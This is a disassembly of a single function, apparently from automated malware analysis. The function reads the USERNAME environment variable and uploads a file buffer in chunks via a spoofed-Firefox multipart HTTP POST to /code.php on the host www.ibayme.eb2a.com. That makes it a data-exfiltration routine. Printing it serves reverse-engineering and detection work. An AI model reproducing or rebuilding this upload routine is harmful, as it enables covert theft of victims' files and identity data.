Function at 0x405ac8
Capabilities:
Query environment variable
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, 0x30d4
call fcn.00407a90
mov dword [ebp - 0x208c], 0
mov dword [ebp - 0x2090], 0x1000
mov dword [esp + 8], 0x2000
mov dword [esp + 4], 0
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov dword [esp + 8], 0x408476
mov dword [esp + 4], str.www.ibayme.eb2a.com
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404be7
test eax, eax
jne 0x405b36
mov dword [ebp - 0x30a4], 0
jmp 0x405d7f
mov dword [esp], str.USERNAME
call sub.msvcrt.dll_getenv
cmp byte [eax], 0
je 0x405b81
mov dword [esp], str.USERNAME
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov ebx, eax
mov dword [esp], str.USERNAME
call sub.msvcrt.dll_getenv
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
lea eax, [ebp - 0x2088]
mov dword [esp], eax
call fcn.00405f9d
jmp 0x405b9f
mov dword [esp + 8], 7
mov dword [esp + 4], str.Unknown
lea eax, [ebp - 0x2088]
mov dword [esp], eax
call fcn.00405f9d
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], str.____WebKitFormBoundaryORkvQWrBvECHBGf_r_n
mov dword [esp + 0x1c], str.____WebKitFormBoundaryORkvQWrBvECHBGf_r_n
mov eax, dword [ebp + 0x18]
add eax, 0x200
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], str.www.ibayme.eb2a.com
lea eax, [ebp - 0x2088]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._code.php
mov dword [esp + 4], str.POST__s_mode_susr_s_HTTP_1.1_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0__Windows__U__Windows_NT_5.1__ar__rv:1.9.0.5__Gecko_2008120122_Firefox_3.0.5_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9___q0.8_r_nAccept_Language:_en_en_us_q0.7_en_q0.3_r_nAccept_Encoding:_gzip_deflate_r_nAccept_Charset:_ISO_8859_1_utf_8_q0.7__q0.7_r_nKeep_Alive:_300_r_nConnection:_Keep_Alive_r_nContent_Length:__ld_r_nContent_Type:_multipart_form_data__boundary_s_r_n___sContent_Disposition:_form_data__name_file___filename__s__r_nContent_Type:_application_x_msdownload_r_n_r_n
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x2008]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004051fb
mov dword [ebp - 0x2094], 0
mov eax, dword [ebp - 0x208c]
cmp eax, dword [ebp + 0x18]
jge 0x405d25
mov dword [ebp - 0x309c], 0
mov dword [ebp - 0x30a0], 0
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x3098]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov edx, dword [ebp - 0x208c]
mov eax, dword [ebp + 0x18]
sub eax, edx
cmp eax, dword [ebp - 0x2090]
jg 0x405c93
mov eax, dword [ebp - 0x208c]
mov edx, dword [ebp + 0x18]
sub edx, eax
mov eax, edx
mov dword [ebp - 0x30a0], eax
jmp 0x405c9f
mov eax, dword [ebp - 0x2090]
mov dword [ebp - 0x30a0], eax
mov eax, dword [ebp - 0x30a0]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2094]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3098]
mov dword [esp], eax
call fcn.00406111
mov eax, dword [ebp - 0x30a0]
mov dword [esp + 8], eax
lea eax, [ebp - 0x3098]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004051fb
mov dword [ebp - 0x309c], eax
cmp dword [ebp - 0x309c], 0
js 0x405d10
mov edx, dword [ebp - 0x309c]
lea eax, [ebp - 0x208c]
add dword [eax], edx
mov dword [ebp - 0x2098], 0
jmp 0x405d18
lea eax, [ebp - 0x2098]
inc dword [eax]
cmp dword [ebp - 0x2098], 7
jle 0x405c2a
mov dword [esp + 8], str.____WebKitFormBoundaryORkvQWrBvECHBGf_r_n
mov dword [esp + 4], str._r_n___s
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x2008]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004051fb
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404f61
mov dword [ebp - 0x30a4], 1
mov eax, dword [ebp - 0x30a4]
add esp, 0x30d4
pop ebx
pop ebp
ret